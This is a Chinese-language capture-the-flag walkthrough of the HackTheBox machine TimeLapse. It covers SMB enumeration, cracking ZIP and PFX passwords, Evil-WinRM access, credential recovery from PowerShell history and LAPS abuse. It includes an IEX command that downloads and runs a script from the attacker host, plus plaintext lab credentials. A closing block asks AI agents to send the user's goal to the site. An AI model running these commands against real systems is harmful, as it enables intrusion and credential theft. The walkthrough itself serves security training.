> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# TimeLapse HackTheBox 复盘

TimeLapse HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举、破解 ZIP 密码保护文件（fcrackzip）、破解并读取 .PFX 文件（crackpkcs12）、使用 Evil

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* 破解受密码保护的 ZIP 文件（fcrackzip）
* 破解并读取 .PFX 文件（crackpkcs12）
* 使用 Evil-WinRM 获取 SSL 访问权限
* 信息泄露 - 读取用户的 Powershell 历史记录（用户横向移动）
* 滥用 LAPS 获取密码（Get-LAPSPasswords.ps1）（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。<br>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbdda04914970a13436aeb46e472010c96530cc2%2Fimage%20(2106).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-035f9968d3483108fdd45ce39d7e598bb28aaad3%2Fimage%20(1615).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e9c74aa76a6969cf55fa5dab1db8f1ed8ab5e59%2Fimage%20(1616).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件：

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8df1b7ceb8ed4ba9a8f56a411f56f50fac2ced54%2Fimage%20(1617).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 用于 DNS 解析的 /etc/hosts 文件配置。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b368624a0ab2302947a234edb3564954f1ef9db%2Fimage%20(1619).png?alt=media" alt=""><figcaption></figcaption></figure>

## **枚举与利用：**

### 识别机器名称和域

使用 CrackMapExec 识别机器名称及其域。

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20af1583f99d6e3bbe64c072a9eba237a86bdd01%2Fimage%20(1618).png?alt=media" alt=""><figcaption></figcaption></figure>

### 列出 SMB 共享文件：

使用 smbclient 和 smbmap 列出共享文件。

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-376e6c6b90790267726f00c074ecba227e3daddb%2Fimage%20(1620).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64def11bf9d89c4cad5afdd1c920476e86c92d38%2Fimage%20(1621).png?alt=media" alt=""><figcaption></figcaption></figure>

### **访问共享文件夹并发现受密码保护的 ZIP 文件**

对共享文件夹中的文件进行探索和识别，发现了一个受保护的 ZIP 文件。

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ea61bd1e31a594d5832d1c919c71f619e1b6add%2Fimage%20(1624).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 fcrackzip 破解 ZIP 文件**

使用 fcrackzip 尝试查找 ZIP 文件密码。

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-232c48ba68cf71adcd7b76e2e8680ac6ba4c860a%2Fimage%20(1625).png?alt=media" alt=""><figcaption></figcaption></figure>

### **从 .PFX 文件中提取**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb3c1c04681ff2f5fec5aabd712c51f637d67cbc%2Fimage%20(1627).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c72343083b02915714ec91f3971baad9de4be74%2Fimage%20(1628).png?alt=media" alt=""><figcaption></figcaption></figure>

### **破解 PFX 文件密码：**

#### 要通过破解密码来破解 pfx 文件，将使用 crackpkcs12 工具。

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b8c1ca8abc39155f45fbfb574899d44c24d22e8%2Fimage%20(1630).png?alt=media" alt=""><figcaption></figcaption></figure>

### **从 PFX 文件中获取私钥和证书**

私钥恢复

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3148b69e02bd1853e62a43ac3e27fddb0eedf49a%2Fimage%20(1632).png?alt=media" alt=""><figcaption></figcaption></figure>

证书恢复

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc3fe3a67201a5f17c6b4d5c3a5b2d30df971ee%2Fimage%20(1633).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用私钥和证书进行 SSL 连接，借助 Evil-WinRM**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53377a379d295c669d34bd555ed463327ef10cfb%2Fimage%20(1634).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8146e1a35574fa67c593e58e1c4d1ca4118ac6%2Fimage%20(1635).png?alt=media" alt=""><figcaption></figcaption></figure>

### **获取第一个 flag**

获取第一个 flag，“user.txt”

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25bb5164f473f836bdf0bbfa6762dffe382c33%2Fimage%20(1636).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

**使用 net users 和 whoami /priv 列出 DC 用户和权限**

识别域控制器上的用户和权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b69e447987b85f7d34e7d7e22c7b174bc56947a%2Fimage%20(1637).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf9315a1d6fef959e6b053e5d472fdea8280f20%2Fimage%20(1638).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **分析用户组并发现用户成员“svc/ deploy”属于“LAPS/ Readers”组**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d09652ff508325d5511ed785ac70ce4d370f73b%2Fimage%20(1639).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **通过读取 PowerShell 历史记录获取用户“svc/ deploy”的密码**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe6a4c8f1a4fe542937aa63375cf6ef8f0c580c3%2Fimage%20(1640).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 CrackMapExec 验证密码**

使用 CrackMapExec 确认密码有效。

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff76bb25a159fce9188cb57fafa0a02bd7601a77%2Fimage%20(1641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用用户凭据“svc/ deploy”登录 Evil-WinRM**

使用用户凭据“svc/ deploy”通过 Evil-WinRM 连接到远程系统。

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10958c847e4cbb46388b67537471799c015fe8b9%2Fimage%20(1609).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 Get-LAPSPasswords 提取密码**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **下载 Get-LAPSPasswords 脚本**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76610dd82c5370e2e9f31fe9696b0cc6d3dcfcb5%2Fimage%20(1610).png?alt=media" alt=""><figcaption></figcaption></figure>

### **脚本执行并恢复管理员密码**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6963e1158a54e8e7757cc14a162ceb911452bfda%2Fimage%20(1611).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 CrackMapExec 验证管理员密码**

使用 CrackMapExec 从用户管理员处确认密码有效。

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe7f7634f70ed9d641532adfed5e5056da90feef%2Fimage%20(1612).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用管理员 ID 通过 Evil-WinRM 最终连接**

通过 Evil-WinRM 使用管理员凭据最终连接到系统。

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf0ad4174f7bd8997d203a25bef1489e6c9d054a%2Fimage%20(1613).png?alt=media" alt=""><figcaption></figcaption></figure>

### **最终 Flag 已获取 :)**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8017dd91a437356c6b0c4516d6864df6bb4835e%2Fimage%20(1614).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ebeffecf9aefd3e814328de37b87746b146fc71%2Fimage%20(1411).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
